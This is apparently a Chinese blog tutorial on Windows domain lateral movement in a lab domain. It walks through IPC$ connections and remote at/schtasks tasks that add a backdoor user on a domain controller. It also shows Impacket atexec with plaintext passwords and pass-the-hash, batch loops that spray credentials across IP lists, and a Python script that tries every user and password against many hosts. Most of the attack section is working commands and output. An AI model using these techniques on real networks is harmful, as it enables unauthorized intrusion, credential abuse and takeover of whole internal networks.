【内网渗透】域横向批量验证at&schtasks&atexec


0x001 域环境组成

DC:win2008         【username:tencent\administrator,password:123@.com】
webserver:win2003  【username:tencent\win2003,password:2003!@#.com】
客户机:win7         【username:tencent\win7,password:7!@#.com】

域环境搭建:https://blog.csdn.net/weixin_44032232/article/details/105824463

在拿下一台内网主机后,通过本地信息搜集,收集用户凭证等信息后,如何横向渗透拿下更多的主机?

这里仅介绍at&schtasks命令的使用,在已知目标系统的用户明文密码的基础上,直接可以在远程主机上执行命令。

0x002 自带命令at&schtasks

利用条件:

  • 端口开放139、445
  • 防火墙没有屏蔽上面端口
1. 建立IPC链接到目标主机
2. 拷贝要执行的命令脚本到目标主机
3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
4. 删除IPC链接
net use \\server\ipc$"password" /user:username        # 工作组
net use \\server\ipc$"password" /user:domain\username # 域用户
dir \\xx.xx.xx.xx\C$\                                 # 查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat                     # 下载文件
copy 1.bat \\xx.xx.xx.xx\C$                           # 复制文件
net use \\xx.xx.xx.xx\C$\1.bat /del                   # 删除IPC
net view xx.xx.xx.xx                                  # 查看对方共享

利用过程:

获取到某域主机权限->minikatz得到密码(明文,hash)->用到信息收集里面域用户的列表当做用户名字典->用到密码明文当做密码字典-》尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或者相关命令

假设我们在知道DC密码时:

在win2003主机上操作如下:

1)获取域用户

C:\Documents and Settings\win2003.TENCENT>net user /domain
这项请求将在域 tencent.com 的域控制器处理。

\\WIN-83V1721VG9V.tencent.com 的用户帐户

-------------------------------------------------------------------------------
Administrator            Guest                    krbtgt
win2003                  win7
命令成功完成。

2)查看域控

C:\Documents and Settings\win2003.TENCENT>net time /domain
\\WIN-83V1721VG9V.tencent.com 的当前时间是 2021-3-6 13:45

命令成功完成。

3)查看域控IP

C:\Documents and Settings\win2003.TENCENT>ping WIN-83V1721VG9V.tencent.com

Pinging WIN-83V1721VG9V.tencent.com [10.0.0.1] with 32 bytes of data:

Reply from 10.0.0.1: bytes=32 time<1ms TTL=128
Reply from 10.0.0.1: bytes=32 time=1ms TTL=128
Reply from 10.0.0.1: bytes=32 time<1ms TTL=128
Reply from 10.0.0.1: bytes=32 time<1ms TTL=128

Ping statistics for 10.0.0.1:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 1ms, Average = 0ms

4)建立IPC连接

C:\Documents and Settings\win2003.TENCENT>net use \\10.0.0.1\ipc$ 123@.com /user:tencent\administrator
命令成功完成。

C:\Documents and Settings\win2003.TENCENT>net use
会记录新的网络连接。

状态       本地        远程                      网络
-------------------------------------------------------------------------------
OK                     \\10.0.0.1\ipc$           Microsoft Windows Network
命令成功完成。

5)本地脚本发送至域控

脚本1.bat:net user test test!@#.com /add

copy 1.bat \\10.0.0.1\C$    # 将脚本发送到域控c盘

6)查看域控当前时间

C:\>net time /domain
\\WIN-83V1721VG9V.tencent.com 的当前时间是 2021-3-6 14:15

命令成功完成。

7)创建计划任务执行脚本

at \\10.0.0.1 14:18 c:\add.bat

8)查看是否新增用户

C:\>net user /domain
这项请求将在域 tencent.com 的域控制器处理。

\\WIN-83V1721VG9V.tencent.com 的用户帐户
-------------------------------------------------------------------------------
test                        Administrator            Guest
krbtgt                      win2003                  win7
命令成功完成。

# test为我们脚本执行后新创建的用户,也可以将其加到管理员组

9)删除IPC

net use \\10.0.0.1\C$\1.bat /del  

建立IPC常见的错误代码

15:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
(251:网络问题,Windows 无法找到网络路径
(353:找不到网络路径,可能是IP地址错误、目标未开机、目标Lanmanserver服务未启动、有防火墙等问题
(467:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$
(51219:提供的凭据和已存在的凭据集冲突,说明已建立IPC$,需要先删除
(61326:账号密码错误
(71792:目标NetLogon服务未启动,连接域控常常会出现此情况
(82242:用户密码过期,目标有账号策略,强制定期更改密码

建立IPC失败的原因

1)目标系统不是NT或以上的操作系统
(2)对方没有打开IPC$共享
(3)对方未开启139445端口,或者被防火墙屏蔽
(4)输出命令、账号密码有错误

不同操作系统的命令不同

目标操作系统 < Windows2012

net use \\10.0.0.1\ipc$ "123@.com" /user:tencent\ad
ministrator # 建立ipc连接:
copy add.bat \\10.0.0.1\c$  #拷贝执行文件到目标机器
at \\10.0.0.1 15:47 c:\add.bat    #添加计划任务

目标操作系统 >=Windows2012

net use \\10.0.0.1\ipc$ "admin!@#45" /user:god.org\ad
ministrator # 建立ipc连接:
copy add.bat \\10.0.0.1\c$ #复制文件到其C盘
schtasks /create /s 10.0.0.1 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #创建adduser任务对应执行文件
schtasks /run /s 10.0.0.1 /tn adduser /i #运行adduser任务
schtasks /delete /s 10.0.0.1 /tn adduser /f#删除adduser任务

注意:一般我们用域用户操作以上步骤时可能会权限不足导致无法执行一些系统命令,所以我们在收集完域信息后需要用本地高权限用户进行以上操作。

0x003 第三方工具atexec

使用第三方工具传输用户名和密码进行验证自带提权

D:\RichChigga-impacket-examples-windows-master\impacket-examples-windows>atexec.exe tencent/administrator:123@.com@10.0.0.1 "whoami"
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

[!] This will work ONLY on Windows >= Vista
[*] Creating task \WqukoWZX
[*] Running task \WqukoWZX
[*] Deleting task \WqukoWZX
[*] Attempting to read ADMIN$\Temp\WqukoWZX.tmp
[*] Attempting to read ADMIN$\Temp\WqukoWZX.tmp
nt authority\system        # 权限为system

即可传送明文也可传送密文

atexec.exe ./administrator:123@.com@10.0.0.1 "whoami"
atexec.exe tencent/administrator:123@.com@10.0.0.1 "whoami"
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@10.0.0.1 "whoami"

第三方软件缺点:容易被杀毒软件查杀,需要做免杀处理。

下载地址:https://gitee.com/RichChigga/impacket-examples-windows

0x004 批量建立IPC连接

上面这两种方式每次只能验证一个用户和一个密码,下面用批处理进行批量建立连接:

FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator #批量检测IP对应明文连接
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami    #批量检测IP对应明文回显版
FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@10.0.0.1 whoami     #批量检测明文对应IP回显版
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@10.0.0.1 whoami #批量检测HASH对应IP回显版

批量建立连接升级版

net use \\192.168.3.32\ipc$ admin!@#45 /user:god\dbadmin

#pip install pyinstaller
#pyinstaller -F fuck_neiwang_001.py 生成可执行EXE
import os,time
ips={
    '192.168.3.21',
    '192.168.3.25',
    '192.168.3.29',
    '192.168.3.30',
    '192.168.3.31',
    '192.168.3.33'
}

users={
    'Administrator',
    'boss',
    'dbadmin',
    'fileadmin',
    'mack',
    'mary',
    'vpnadm',
    'webadmin'
}
passs={
    'admin',
    'admin!@#45',
    'Admin12345'
}

for ip in ips:
    for user in users:
        for mima in passs:
            exec="net use \\"+ "\\"+ip+'\ipc$ '+mima+' /user:god\\'+user
            print('--->'+exec+'<---')
            os.system(exec)
            time.sleep(1)

上面程序运行结束net use查看建立了哪些连接,剩下的就是使用自带命令at&schtasks上传脚本进行控制。

以上操作都是在我们知道用户和密码的情况下进行验证的,前期除了收集明文密码HASH等,还收集了用户名,用户名配合密码字典,进行上面的批量验证

主机A   收集主机A的用户名和密码  组成字典
主机B   用主机A的用户信息验证是否可以登录到主机B,如果可以登录在收集主机B的用户信息,将信息添加到上面的字典里。
主机C   用上面的字典验证是否可以登录到主机C,如果可以登录依旧收集相关信息添加到字典中

不断重复上面步骤,收集的信息越多字典越大,我们验证成功的可能性越大,实现从获得1台主机到内网中所有主机的操作
  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
IPC(Inter-Process Communication)是进程间通信的一种机制,用于不同进程之间的数据交换和通信。它可以在同一台计算机上的不同进程之间进行通信,也可以在不同计算机上的进程之间进行通信。 Psexec是一款Windows系统下的命令行工具,它可以在远程计算机上执行命令或程序。通过Psexec,管理员可以在本地计算机上远程启动一个命令行窗口,并在远程计算机上执行命令或程序。 WMI(Windows Management Instrumentation)是一种用于管理和监控Windows操作系统的技术。它提供了一组API和服务,用于获取和设置操作系统的各种信息,包括硬件信息、软件信息、系统配置等。通过WMI,管理员可以通过编程方式管理和监控远程计算机。 Schtasks是Windows操作系统中的一个命令行工具,用于创建、修改、删除和查询计划任务。计划任务是指在指定的时间或事件发生时自动执行的任务。通过Schtasks,管理员可以通过命令行方式管理计划任务。 AT(Scheduled Task)是Windows操作系统中的一个命令行工具,用于创建和管理计划任务。与Schtasks类似,AT也可以用于在指定的时间或事件发生时自动执行任务。 SC(Service Control)是Windows操作系统中的一个命令行工具,用于管理Windows服务。通过SC,管理员可以启动、停止、暂停、继续、查询和修改Windows服务的状态和配置。 WINRM(Windows Remote Management)是一种用于远程管理Windows系统的协议和服务。它提供了一组API和服务,用于远程执行命令、获取和设置系统信息、配置和管理Windows服务等。通过WINRM,管理员可以通过网络远程管理和监控Windows系统。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

多学点技术

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值